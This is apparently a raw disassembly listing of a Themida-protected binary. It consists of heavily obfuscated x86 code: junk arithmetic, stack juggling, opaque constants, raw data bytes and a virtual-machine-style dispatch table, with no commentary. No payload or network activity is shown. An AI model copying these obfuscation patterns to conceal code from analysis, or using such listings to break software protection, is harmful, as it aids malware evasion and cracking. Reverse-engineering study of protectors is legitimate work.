		mov	esi, 4AA752C6h
		shl	esi, 8
		jmp	loc_555AD5
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0FDBB5324h, 0E9178C26h, 400Ch, 0B9FFFDBFh, 279DE99Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D7D2:				; CODE XREF: Themida_:00565B8Ej
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_5542D5
; ---------------------------------------------------------------------------


loc_55D7E1:				; CODE XREF: Themida_:0055AC95j
		add	esi, 4
		add	esi, 4
		push	7E13h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_553C31
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 85h
		dd 57E4902h, 7C9104B0h,	0B02DF801h, 0E97C9104h,	0FFFF97C6h
dword_55D81C	dd 24048B66h, 8904EC83h, 0E954242Ch, 894h, 6D9EA81h, 525E1783h
					; DATA XREF: Themida_:00550EF0o
		dd 0FF388DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D839:				; CODE XREF: Themida_:0055CC82j
		mov	esi, 3A110B18h
		sub	[esp+4], esi
		pop	esi
		pop	eax
		push	edx
		jmp	loc_5510BC
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 73BF0E64h, 2B95159h,	0E9000000h, 0FFFF6767h,	8104EB83h
		dd 4ECh, 241C8900h, 2353E9h
		db 0
byte_55D86D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550D38o
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_558ACD
; ---------------------------------------------------------------------------


loc_55D87B:				; CODE XREF: Themida_:005529A3j
		xchg	eax, [esp]
		jmp	loc_562153
; ---------------------------------------------------------------------------
		db 8Bh
		dd 14892424h, 1CBE5624h, 89000000h, 0C2815EF2h,	34576BDh
		dd 53DDC281h, 0FA012EB7h, 53DDEA81h, 0E9532EB7h, 0FFFF5FC6h
; ---------------------------------------------------------------------------


loc_55D8AC:				; CODE XREF: Themida_:00557ED4j
		add	ebx, esi
		pop	esi
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_55A1FA
; ---------------------------------------------------------------------------


loc_55D8BC:				; CODE XREF: Themida_:005572ACj
		mov	dh, 0Bh
		jmp	loc_5559AB
; ---------------------------------------------------------------------------
byte_55D8C3	db 8Bh			; DATA XREF: Themida_:00550CBCo
		dd 89532404h, 1F2968E3h, 3C890000h, 1FE95124h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D8D7:				; CODE XREF: Themida_:00561DF0j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_552E20
; ---------------------------------------------------------------------------


loc_55D8EB:				; CODE XREF: Themida_:0055EE85j
		push	dword ptr [esp]
		jmp	loc_5649FD
; ---------------------------------------------------------------------------


loc_55D8F3:				; CODE XREF: Themida_:00553C1Aj
		xchg	edi, [esp]
		pop	esp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55FAE5
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 44810000h, 53690424h, 6C81795Ch, 55520424h, 74012CE2h
		dd 44810424h, 55520424h, 6C812CE2h, 53690424h, 0FF5E795Ch
		dd 348B2434h, 4C48324h,	81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 0FFAA22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D94D:				; CODE XREF: Themida_:0055BCE5j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	14A6h
		mov	[esp], ebx
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	5000h
		push	2747h
		push	esp
		jmp	loc_55543F
; ---------------------------------------------------------------------------
		db 55h
		dd 3FE26853h, 0DBE96EC3h
		db 3Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D987:				; CODE XREF: Themida_:005640BBj
		mov	[esp], ebx
		push	ecx
		jmp	loc_555907
; ---------------------------------------------------------------------------
aHslc		db 'HИLC',0
		align 2
		dw 1668h
		dd 89000005h, 0BABA2414h, 891D285Dh, 6EB1E9D3h,	0C481FFFFh
		dd 4, 3B68E9h, 81DDF700h, 6A8DDC5h, 0E9EB296Dh,	0FFFF7E8Ah
; ---------------------------------------------------------------------------


loc_55D9C4:				; CODE XREF: Themida_:00561633j
		mov	edx, 62641D2h
		shl	edx, 5
		jmp	loc_55513A
; ---------------------------------------------------------------------------


loc_55D9D1:				; CODE XREF: Themida_:00561729j
		add	esp, 4
		push	505Ch
		mov	[esp], eax
		mov	eax, 2
		push	ebp
		push	ecx
		push	9A75AB7h
		pop	ecx
		sub	ecx, 5F8366ADh
		inc	ecx
		sub	ecx, 157B2BADh
		sub	ecx, 7AA68C87h
		mov	ebp, ecx
		pop	ecx
		or	ebp, 78E077FEh
		and	ebp, 2F5265E7h
		xor	ebp, 5E3735E2h
		xor	ebp, 13B929EAh
		or	ebp, 5C5659Ch
		sub	ebp, 541551F7h
		add	ebx, ebp
		pop	ebp
		jmp	loc_55610A
; ---------------------------------------------------------------------------


loc_55DA2B:				; CODE XREF: Themida_:00562BFDj
		mov	eax, [esp]
		add	esp, 4
		shl	eax, 4
		shl	eax, 8
		xor	eax, 7A6848DBh
		mov	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, ebp
		jmp	loc_55F3A6
; ---------------------------------------------------------------------------
		db 81h
		dd 6B044EE9h, 81C10136h, 6B044EC1h, 24048B36h, 8304C483h
		dd 0C3304C1h, 240C3124h, 8B240C33h, 4EE92424h, 81FFFFF2h
		dd 712041E5h, 81DDF757h, 0DFDFBBF5h, 0C0B7E9BAh, 0E95CFFFFh
		dd 801Ah, 0C781E789h, 4, 8702EF83h, 0FE9243Ch, 81FFFF54h
		dd 0CC3D83C1h, 8806E9C5h, 0C581FFFFh, 475939E1h, 0BB90E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DAB2:				; CODE XREF: Themida_:0055FABAj
		mov	ecx, edx
		jmp	loc_562E36
; ---------------------------------------------------------------------------
byte_55DAB9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550DD0o
aHd		db '$h└!',0
		align 2
		dw 1C89h
		dd 34FF5424h, 241C8B24h, 4C77E9h, 243C8B00h, 0FFEC4AE9h
		dd 8FB951FFh, 816C0A37h, 780D5FC1h, 59C8010Fh, 0B951D801h
		dd 33F63D7Bh, 3D9AE981h, 0E9C12FC7h, 0EFC18106h, 57B7188h
		dd 66964F4Eh, 4E2DC829h, 5966964Fh, 81241C8Bh, 4C4h, 24043300h
		dd 33240431h, 248B2404h, 4216624h, 34E99C24h, 5FFFF34h
		dd 4, 0FFD136E9h
		db 0FFh
byte_55DB35	db 8Bh,	4, 24h		; DATA XREF: Themida_:00550ECCo
		dd 1A6D68h, 24048900h, 7B0568h,	24248900h, 46851h, 0C8B0000h
		dd 4C48124h, 1000000h, 5904244Ch, 606BE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB62:				; CODE XREF: Themida_:005510ACj
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_55FD40
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 3D1E6D4Dh, 0FFE276E9h, 8D2D5DFFh, 892F7E0Ch
		dd 0BB5358C5h, 576D5279h, 3412E9h, 5BDA8900h, 5310F281h
		dd 0ABE939A1h, 89000030h, 9D0E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DBA2:				; CODE XREF: Themida_:00564352j
		push	ebp
		mov	ebp, 4B624803h
		jmp	loc_5633B8
; ---------------------------------------------------------------------------
byte_55DBAD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550E18o
		dd 0E9545224h, 0FFFF7407h, 0E0C1D0F7h, 10980D02h, 0BD55569Ah
		dd 42334CF2h, 0AAE9E821h, 89FFFFFFh, 54E95DE9h,	8FFFFD5h
		dd 0C1805BF9h, 8535E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DBE2:				; CODE XREF: Themida_:00562347j
		sub	ebp, ecx
		jmp	loc_5552E6
; ---------------------------------------------------------------------------
		db 5, 0A2h, 0Eh
		dd 0F00127B0h, 0B00EA22Dh, 24348B27h, 4C481h, 0FF500000h
		dd 8B042474h, 0C4812404h, 4, 8B24048Fh,	0D5E92424h, 57FFFFA9h
		dd 0BB7356BFh, 5FFB314Dh, 0FF8285E9h, 3DEE81FFh, 81209018h
		dd 835B7EEh, 4EC830Ah, 0FFBA89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC39:				; CODE XREF: Themida_:00555FCDj
		mov	edi, 64C47D3Fh
		dec	edi
		neg	edi
		push	ebp
		jmp	loc_55750C
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	1C8704C3h, 8AE95C24h, 53000022h
		dd 0FFE82DE9h, 0A46852FFh, 5A7D6479h, 7B9DE9h, 2434FF00h
		dd 4C4815Fh, 81000000h,	4ECh, 24148900h, 0EE8DF2BAh, 0FFC181F3h
		dd 1748316h, 0FFE981D1h, 5A748316h, 8359CB01h, 148904ECh
		dd 2BA24h, 43E90000h, 50FFFF49h, 8904EC83h, 56B7241Ch
		dd 0C7FED7F6h, 0EFD0D7F6h, 80FFEF80h, 7EE980F7h, 83FFFFC3h
		dd 9E904ECh, 81000072h,	0DD50D1C2h, 3BE95910h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DCD7:				; CODE XREF: Themida_:00565A0Aj
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 757540F4h
		shr	edx, 1
		push	esi
		push	ebx
		mov	ebx, 5EB278DBh
		jmp	loc_5650FF
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 797E9CBEh, 62F0E91Ch, 0FA010000h, 0E9243C8Bh, 0FFFF9DF3h
		dd 5C24048Fh, 840FC009h, 0FFFFAA60h, 8904EC83h,	0E0892404h
		dd 0FFFF2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DD35:				; CODE XREF: Themida_:00551AFEj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	1E93h
		jmp	loc_552604
; ---------------------------------------------------------------------------
		db 30h,	0C3h, 0Fh
		dd 48DC0B6h, 404B6887h,	8AE90000h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD5B:				; CODE XREF: Themida_:00557123j
		sub	ebx, 0CE6759Fh
		add	ebx, edi
		add	ebx, 0CE6759Fh
		xor	[ebx], esi
		jmp	loc_5612A9
; ---------------------------------------------------------------------------
aBLlS9		db '^│цlL[',9,'И>9',0
		align 4
		dd 405h, 4E88300h, 9D0CE950h, 8B66FFFFh, 0EC81240Ch, 4
		dd 89240C89h, 42B3E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD9E:				; CODE XREF: Themida_:0055E249j
		push	20000h
		jmp	loc_564414
; ---------------------------------------------------------------------------
		dd 683DEE81h, 0EE811B8Dh, 12D5B03Fh, 0FF8E4AE9h, 58C101FFh
		dd 0D7E9CF29h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DDC3:				; CODE XREF: Themida_:00552C7Fj
		sub	edi, 321F295Bh
		sub	edi, 395F23F7h
		push	ecx
		jmp	loc_553FEF
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0F6h
		dd 66D70696h, 295EF029h, 314B05F0h, 34FF79B8h
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55EA2F
; ---------------------------------------------------------------------------


loc_55DDF8:				; CODE XREF: Themida_:00562351j
		mov	edi, edx
		jmp	loc_55C4EF
; ---------------------------------------------------------------------------
		db 89h
		dd 2CE950E7h
		db 0F8h, 2 dup(0FFh)
byte_55DE07	db 0FFh			; DATA XREF: Themida_:00550C80o
		dd 48B2434h, 4C48124h, 68000000h, 6A6h,	54241C89h, 0FF98A1E9h
		dd 0FED7F6FFh, 0C0D7F6C7h, 0EF8007E7h, 5BFA8872h, 8033CA80h
		dd 0D02874F2h, 0CDE9535Ah
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DE3F:				; CODE XREF: Themida_:0055E55Cj
		add	esi, ebx
		pop	ebx
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	eax, esi
		jmp	loc_563711
; ---------------------------------------------------------------------------


loc_55DE5F:				; CODE XREF: Themida_:00551F2Dj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_553271
; ---------------------------------------------------------------------------


loc_55DE6C:				; CODE XREF: Themida_:0055AC07j
		sub	ebx, eax
		pop	eax
		push	edi
		jmp	loc_5598A1
; ---------------------------------------------------------------------------
		db 0B1h, 0AFh, 0
		dd 241C8BD9h, 81E38953h, 4C3h, 8A61E900h, 0CD01FFFFh, 0FFA0E4E9h
		dd 80CB00FFh, 5966F3EBh, 2852F380h, 241C8BDEh, 8004C483h
		dd 0F5002FF6h, 0E924148Bh, 0FFFF4F44h, 0F8CB815Bh, 0C1246839h
		dd 0E3C107E3h, 12BA5207h, 19A2313h, 0C2E95AD3h,	89FFFFFCh
		dd 24048BC3h, 1A43E9h, 24343300h, 8924248Bh, 0E189240Ch
		dd 459FE9h, 2434FF00h, 0FF5B2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DEED:				; CODE XREF: Themida_:0055300Cj
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55ED4B
; ---------------------------------------------------------------------------
byte_55DF01	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550DB8o
		dd 0E2895224h, 551AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DF0D:				; CODE XREF: Themida_:0055BCA7j
		add	ecx, edx
		pop	edx
		add	ebp, 57FA1A6Dh
		sub	ebp, 53FA2F1Ah
		add	ebp, ecx
		add	ebp, 53FA2F1Ah
		sub	ebp, 57FA1A6Dh
		pop	ecx
		push	esi
		jmp	loc_56152E
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0B6h
		dd 217A6529h, 736DE9FAh, 0C3280000h, 8078EB80h,	525865EBh
		dd 74E913B2h, 28FFFFD2h, 0E653E9D8h, 0C481FFFFh, 4, 0FF3719E9h
		dd 2FF9E9FFh, 0C89FFFFh, 0C8E6E924h, 895CFFFFh,	5E542434h
		dd 4C681h, 0BB530000h, 14D00D8Bh, 1DF2F381h, 0C381766Dh
		dd 9D42EF8Bh, 418AB951h, 0C68136B6h, 6D5364F1h,	0FF4558E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DF9D:				; CODE XREF: Themida_:0055F19Ej
		mov	[esp], ecx
		mov	ecx, 512A536Dh
		add	ecx, 0D308C90Ah
		add	[eax], ecx
		mov	ecx, [esp]
		jmp	loc_552444
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4Bh
		dd 89F9C509h, 5403E9D9h, 5158FFFFh, 174FD9B9h, 0B1C1814Bh
		dd 0F7222440h, 7E1C1D1h, 2B51BF57h, 0BBE94A1Eh,	81FFFF6Dh
		dd 0B52627C2h, 81C20118h, 0B52627EAh, 24048B18h, 0FF9530E9h
		dd 4EC83FFh, 54240489h,	8324048Bh, 0DD6804C4h, 8900000Dh
		dd 5051243Ch, 6A269FB8h, 7E0C17Fh, 8E3EE948h, 0E95BFFFFh
		dd 1C7h, 5604C483h, 0C681E689h,	4, 8704EE83h, 895C2434h
		dd 12E92434h, 0BF000031h, 2, 3C8BFB01h,	0E3895324h, 4C381h
		dd 0C3810000h, 4, 4B568h, 9D6EE900h, 0E801FFFFh, 5425C52Dh
		dd 41982D7Eh, 685D5D58h, 870h, 89240C89h, 4BB53E1h, 1000000h
		dd 0E9815BD9h, 4, 0E9240C87h, 0FFFF4062h
; ---------------------------------------------------------------------------


loc_55E08C:				; CODE XREF: Themida_:00555147j
		pop	ebx
		pop	edx
		push	ebx
		push	ebp
		push	5807236Bh
		pop	ebp
		dec	ebp
		add	ebp, 0FFFFFFFFh
		jmp	loc_560ED9
; ---------------------------------------------------------------------------


loc_55E09F:				; CODE XREF: Themida_:0055796Ej
		sub	edx, 19D398Fh
		sub	edx, eax
		add	edx, 19D398Fh
		push	7A0h
		mov	[esp], ebx
		mov	ebx, 2E123Dh
		push	edi
		jmp	loc_554DF1
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 4C481h, 0DBE90000h, 5500000Ch, 0B61631BDh
		dd 0ED814549h, 49B6162Eh, 493DE9h
		db 0
byte_55E0E1	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550DD8o
		dd 3429E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E0E9:				; CODE XREF: Themida_:0055C25Cj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ebp
		mov	ebp, 2CD235BFh
		xor	ebp, 32114BC6h
		not	ebp
		xor	ebp, 0E13C8182h
		jmp	loc_551EA8
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 5EF4E924h, 0EE81FFFFh, 2AECA16Ch, 0E95EF729h, 0FFFF489Fh
		dd 8012CA80h, 0D50048C2h, 0FF3776E9h, 4C683FFh,	5C243487h
		dd 9F1E3A05h, 2DD8294Dh, 4D9F1E3Ah, 5F02F605h, 0DBA2E902h
		dd 0E953FFFFh, 0FFFF534Dh, 1724E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E15A:				; CODE XREF: Themida_:00565557j
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		push	ebx
		jmp	loc_55D4C8
; ---------------------------------------------------------------------------


loc_55E169:				; CODE XREF: Themida_:00552AEBj
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56040C
; ---------------------------------------------------------------------------
dword_55E180	dd 240C8B66h, 581668h, 24048900h, 0EC81E089h, 4, 0E9241C89h
					; DATA XREF: Themida_:00550E64o
		dd 0FFFFC288h
; ---------------------------------------------------------------------------


loc_55E19C:				; CODE XREF: Themida_:005530F5j
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		db 66h,	51h, 0B1h
		dd 28E12CC4h, 66E104C8h, 0E9240C8Bh, 0FFFFB7DCh, 83415B5Fh
		dd 148904ECh, 0F5E95324h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E1D3:				; CODE XREF: Themida_:0055FE13j
		mov	edx, esp
		jmp	loc_551149
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 38FEBD24h, 95E97DD0h, 0C1FFFF55h, 0E98106E9h, 0AA6B2462h
		dd 34FFCF89h, 0C4815924h, 4, 4465CF81h,	0EF81428Ch, 5ADE6E79h
		dd 34FFFB01h, 0A0685F24h, 8900003Eh, 0E589242Ch, 4C581h
		dd 3DE90000h, 8BFFFFC2h, 1EE92434h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E22B:				; CODE XREF: Themida_:0056215Cj
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_55AB0A
; ---------------------------------------------------------------------------


loc_55E235:				; CODE XREF: Themida_:0055B8A5j
		pop	ebx
		add	ebp, 24084B26h
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55DD9E
; ---------------------------------------------------------------------------
		dw 2CB7h
		dd 0FFA01BE9h, 2414F7FFh, 0FFFD65E9h, 240C89FFh, 6142EBB9h
		dd 2BC9813Ah, 812A1F0Dh, 0B51FF2F1h, 4EC8327h, 0BF243C89h
		dd 753101C7h, 69AFC181h, 0F9296FD1h, 69AFE981h,	0E95F6FD1h
		dd 85Bh
; ---------------------------------------------------------------------------


loc_55E290:				; CODE XREF: Themida_:00563EA8j
		push	edx
		mov	edx, 32765D1Ch
		neg	edx
		shl	edx, 7
		add	edx, 52E539B5h
		sub	edx, 0A0976742h
		and	edi, edx
		pop	edx
		add	edi, 1
		not	edi
		add	edi, 2024466h
		add	ecx, edi
		pop	edi
		jmp	loc_56161A
; ---------------------------------------------------------------------------
		dd 0EB30F281h, 0D5890AA2h, 8324148Bh, 0DDF704C4h, 37A8BF57h
		dd 0C781203Eh, 83D8F8C9h, 7DE9FD31h
		db 0DAh, 2 dup(0FFh)
off_55E2E3	dd offset dword_49005C+7A0Ch ; DATA XREF: Themida_:00550D10o
		align 4
		dd 50240C89h, 0FFB014E9h, 5BF281FFh, 4A7F2D35h,	8156EA81h
		dd 0D101E486h, 0C8215F5Ah, 83240C8Bh, 43E904C4h, 81000065h
		dd 4C042444h, 8B1D4363h, 0C481241Ch, 4,	81240429h, 4E7C2404h
		dd 0E9503D47h, 0FFFFF64Bh, 3E0C66BAh, 0E0D7BB01h, 0D301C379h
		dd 0AEEB815Ah, 29073151h, 3E4BE9CBh, 0ED810000h, 0B8619C9h
		dd 3EE8E9h, 24048900h, 8C55ABB8h, 3E0C105h, 0F706E0C1h
		dd 5E8C1D0h, 0B67EFF2Dh, 7EA12594h, 2E2D363Fh, 2D65D970h
		dd 0B113951Bh, 158C301h, 0B7EB81F3h, 5E1B1720h,	2B951h
		dd 0EB810000h, 0EF63CB2h, 0C381CB01h, 0EF63CB2h, 0E9240C8Bh
		dd 0FFFF7687h, 316F68h,	24248900h, 0CD98E955h, 0DF01FFFFh
		dd 5FF9295Bh, 0C8BCB89h, 0E6895624h, 0FF3863E9h, 59CF01FFh
		dd 0FFA3D4E9h, 14895CFFh, 243C8B24h, 5A04C483h,	242C8157h
		dd 390B145Ch, 4294E9h, 5D7D6800h, 815D7FF4h, 0BA282F5h
		dd 0F29BE980h, 48BFFFFh, 73E95524h, 89000044h, 4B9240Ch
		dd 0E9000000h, 0FFFFC352h, 2218EF81h, 0D701711Bh, 2218C781h
		dd 74E9711Bh, 89000069h, 6866241Ch, 8966518Dh, 0EC81240Ch
		dd 4, 649DE9h, 2B25E900h, 5457FFFFh, 4550E95Fh,	0C9BD0000h
		dd 12F1D56h, 242C8BE8h,	50E68956h, 4B8h, 58C60100h, 0FF94B4E9h
		dd 4C383FFh, 0FF56B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E465:				; CODE XREF: Themida_:0055FF0Cj
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_554013
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0E98104C4h, 4DE2A44h, 40EDBA52h, 0D10116AEh
		dd 81F9015Ah, 0AE40EDE9h, 44C18116h, 8B04DE2Ah,	0C481243Ch
		dd 4, 31240C33h, 0C33240Ch, 89515C24h, 5AA268E1h, 78E90000h
		dd 8BFFFF4Ah, 0C4832404h, 4707E904h, 0F501FFFFh, 6540E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E4E1:				; CODE XREF: Themida_:00554E85j
		add	esp, 4
		xor	edx, eax
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
aAShj		db '─гиИhj',0
		dw 0B800h
		dd 6520470Eh, 98FE4805h, 6425E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E502:				; CODE XREF: Themida_:0055293Cj
		pop	esp
		mov	[esp], ebx
		jmp	loc_55A43D
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5A456BD3h, 0D305F801h, 0FF5A456Bh, 0E95F2434h, 3FA5h
		dd 0E9243489h, 0FFFF44D1h
; ---------------------------------------------------------------------------


loc_55E528:				; CODE XREF: Themida_:00557645j
		push	424E733Eh
		pop	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	eax
		push	ebx
		mov	ebx, 25F54D66h
		mov	eax, 0E3A6DA26h
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esi, 69D4075Dh
		sub	esi, eax
		push	ebx
		mov	ebx, 6AD5F8Ch
		add	ebx, 6326A7D1h
		jmp	loc_55DE3F
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0FD5E904h, 315F0000h, 7F27E9D5h, 0C581FFFFh,	4, 4C581h
		dd 2C870000h, 24248B24h, 52241C8Bh, 0C281E289h,	4, 0FF55CFE9h
		db 0FFh
byte_55E595	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550E8Co
		dd 330FE924h, 0C280FFFFh, 6B9E9BAh, 4870000h, 4895C24h
		dd 5E08924h, 4,	5004C083h, 42474FFh, 50ACE958h,	3489FFFFh
		dd 604EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E5CA:				; CODE XREF: Themida_:00560BD7j
		push	dword ptr [esp]
		jmp	loc_559325
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 2D0BD9F2h, 0E9425E77h, 0FFFF8F24h
; ---------------------------------------------------------------------------


loc_55E5E0:				; CODE XREF: Themida_:00553640j
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
dword_55E600	dd 24048B66h		; DATA XREF: Themida_:00550C7Co
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55F5B7
; ---------------------------------------------------------------------------
		dd 0E90FB450h, 0FFFF51D4h
; ---------------------------------------------------------------------------


loc_55E620:				; CODE XREF: Themida_:0055F7ACj
		mov	[esp], esi
		push	33C0C7Ch
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 75FE0087h
		shl	ebx, 3
		jmp	loc_557EFF
; ---------------------------------------------------------------------------


loc_55E63F:				; CODE XREF: Themida_:0055FB72j
		mov	ecx, esp
		push	2D85h
		mov	[esp], edi
		jmp	loc_55EF4C
; ---------------------------------------------------------------------------


loc_55E64E:				; CODE XREF: Themida_:00564C50j
		sub	esi, 74936469h
		dec	esi
		add	esi, 0E3A7871Bh
		add	ebp, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, 7DAA6826h
		add	ecx, edx
		jmp	loc_55B3AC
; ---------------------------------------------------------------------------
		dd 4B9h, 59CB0100h, 8704EB83h, 895C241Ch, 0BD68241Ch, 8900007Eh
		dd 0E682434h, 0E91E3868h, 63C5h, 4C2835Dh, 4EC81h, 14890000h
		dd 2474FF24h, 0DE67E904h, 0EB81FFFFh, 4, 5C241C87h, 0FFC6ECE9h
		dd 0BA525AFFh, 4, 685AD101h, 381Ch, 0E9240C89h,	55EDh
		dd 2B850h, 0C6890000h, 79E98158h, 12CEF13h, 0E95652F1h
		dd 0FFFFDB5Ch
; ---------------------------------------------------------------------------


loc_55E6F4:				; CODE XREF: Themida_:005604B6j
		mov	esp, [esp]
		push	7F09h
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	4
		pop	ebp
		jmp	loc_551F2C
; ---------------------------------------------------------------------------


loc_55E712:				; CODE XREF: Themida_:005560DEj
		push	ebx
		mov	ebx, 56674B9Ch
		push	esi
		jmp	loc_557432
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2C843109h, 0FEE9FB01h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E72B:				; CODE XREF: Themida_:005567AAj
		not	dword ptr [esp]
		pop	ebp
		inc	ebp
		sub	ebp, 0D78AB529h
		sub	dword ptr [esp+4], 1F431F80h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 1F431F80h
		mov	ebp, [esp]
		jmp	loc_556401
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 391529EBh, 6743EF81h, 0F9097092h, 33F1815Fh,	5A85DFDh
		dd 447F1C2Dh, 2D2DC829h, 59447F1Ch, 0B6E9C101h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E77B:				; CODE XREF: Themida_:0055ED64j
		pop	eax
		shl	edi, 6
		push	ebp
		mov	ebp, 0D6C43FC0h
		xor	edi, ebp
		pop	ebp
		and	eax, edi
		jmp	loc_554B39
; ---------------------------------------------------------------------------
		db 30h
		dd 24148BF0h, 5104C483h, 505386B1h, 5AE913B0h, 1FFFF8Fh
		dd 24348BF5h, 679CE9h
		db 0
byte_55E7AD	db 0ADh, 83h, 7Fh	; DATA XREF: Themida_:00550D40o
		dd 840F0020h, 5913h, 795868h, 242C8900h, 0FF3DADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E7C5:				; CODE XREF: Themida_:00554A0Fj
		push	esi
		push	ebp
		jmp	loc_562BC2
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 6650E924h, 5954FFFFh, 4C181h, 68500000h
		dd 4, 0E924048Bh, 2F03h, 70DEC781h, 0EEE9482Eh,	83FFFFA8h
